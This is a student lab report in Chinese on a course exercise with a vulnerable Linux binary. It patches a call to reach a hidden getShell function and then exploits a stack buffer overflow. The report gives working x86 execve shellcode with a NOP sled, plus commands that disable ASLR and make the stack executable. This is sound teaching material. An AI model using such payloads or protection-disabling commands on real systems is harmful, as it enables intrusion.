20155318 Exp1 PC平台逆向破解(5)M
实践目标
本次实践的对象是一个名为pwn1的linux可执行文件。
该程序正常执行流程是：main调用foo函数,foo函数会简单回显任何用户输入的字符串。
该程序同时包含另一个代码片段，getShell，会返回一个可用Shell。正常情况下这个代码是不会被运行的。我们实践的目标就是想办法运行这个代码片段。我们将学习两种方法运行这个代码片段，然后学习如何注入运行任何Shellcode
实践内容
- 手工修改可执行文件，改变程序执行流程，直接跳转到getShell函数。
- 利用foo函数的Bof漏洞，构造一个攻击输入字符串，覆盖返回地址，触发getShell函数。
- 注入一个自己制作的shellcode并运行这段shellcode。
实践思路
- 运行原本不可访问的代码片段
- 强行修改程序执行流
- 以及注入运行任意代码。
汇编知识
机器指令
| 指令 | 机器码 | 功能 |
|---|---|---|
| NOP | 90 | 空指令，继续执行NOP后面的一条指令 |
| JNE | 75 | 条件转移指令，不等则跳转 |
| JE | 74 | 条件转移指令，相等则跳转 |
| JMP | / | 无条件转移指令，short（机器码：EB）段内直接近转移Jmp；near（机器码：E9）段内间接转移Jmp；word（机器码：FF）段间直接(远)转移Jmp；far（机器码：EA） |
| CMP | 39 | 比较指令，相当于减法指令，对操作数之间运算比较，不保存结果 |
常用汇编指令
- 反汇编：objdump -d XX
- 进入十六进制编辑模式：:%!xxd
- 查询：/
- 调试：gdb XXX
- 切回原模式：%!xxd -r
实践
一、修改机器指令改变程序执行流程
- objdump -d xxx对文件进行反汇编
- getShell和foo地址相差(91-7d)=0x21，因此欲
call 8048491 <foo>修改为call 804847d <getShell>，需要将d7修改为c3（d7-21） - 修改过程：
vi打开编辑文件（此时为二进制格式）；:%! xxd将文件转换为十六进制编辑模式；/找到修改位置，i进入编辑模式，:%! xxd -r转回二进制模式，:wq保存退出 - 再次进行反汇编的结果如下：
- 和之前程序运行结果的对比：
二、利用Bof漏洞攻击
- 该可执行文件正常运行是调用函数foo，这个函数有Buffer overflow漏洞，攻击目标是触发函数getshell
- gdb调试，命令r运行，命令info r查看各寄存器的值，主要关注eip寄存器的值
- 分别输入11……4455555555和11……4412345678看eip寄存器的值，对比可知占用返回地址的压栈数据为4321
- 将这些数换成getshell的内存地址（\x7d\x84\x04\x08\x0a），通过
perl生成在ASCII界面所无法输入的16进制值，用(cat input; cat) | ./xxx来进入程序，运行结果如下： 
三、注入Shellcode并执行
- 准备工作：若堆栈内存区设置为不可执行。这样即使是注入的shellcode到堆栈上，也执行不了。使用
execstack -s XXX设置堆栈可执行，通过execstack -q XXX查看堆栈是否可执行。使用more /proc/sys/kernel/randomize_va_space命令查看是否开启地址随机化(让OS每次都用不同的地址加载应用)，有以下三种情况- 0表示关闭进程地址空间随机化。
- 1表示将mmap的基址，stack和vdso页面随机化。
- 2表示在1的基础上增加栈（heap）的随机化。
- 使用
echo "0" > /proc/sys/kernel/randomize_va_space命令关闭进程地址空间随机化，并再次使用more /proc/sys/kernel/randomize_va_space验证。 
- Linux下有两种基本构造攻击buf的方法
- retaddr+nop+shellcode
- nop+shellcode+retaddr
- 因为retaddr在缓冲区的位置是固定的，shellcode要不在它前面，要不在它后面,缓冲区小就把shellcode放后边，缓冲区大就把shellcode放前边,使用nops+shellcode+retaddr,nop一为是了填充，二是作为“着陆区/滑行区”,若猜的返回地址只要落在任何一个nop上，自然会滑到我们的shellcode
- 构造一个shellcode，输入攻击命令(cat input_shellcode;cat) | ./XXX，并找到pwn3_20155318的进程号
- 进行gdb调试，通过设置断点，来查看注入buf的内存地址
- 结构为：anything+retaddr+nops+shellcode。看到01020304就是返回地址的位置。地址是 0xffffd3a0
- 修改input_shellcode为\xa0\xd3\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x80\xd3\xff\xff\x00，如图所示，再次攻击后成功！
实验总结
- 什么是漏洞？漏洞有什么危害？
- 漏洞就是正常功能的硬件、软件或者策略中的缺陷。黑客利用漏洞来破坏计算机安全，达到其他对正常使用者不利的目的。
- 实验收获与感想
- 本次实验回顾了Linux指令、汇编、反汇编的知识、利用gdb调试，学习了BOF的原理和防御，通过修改机器指令改变程序执行流程、构造payload进行bof攻击的方法，学习了网络对抗的基本知识。感觉这门课还挺有趣的（微笑）
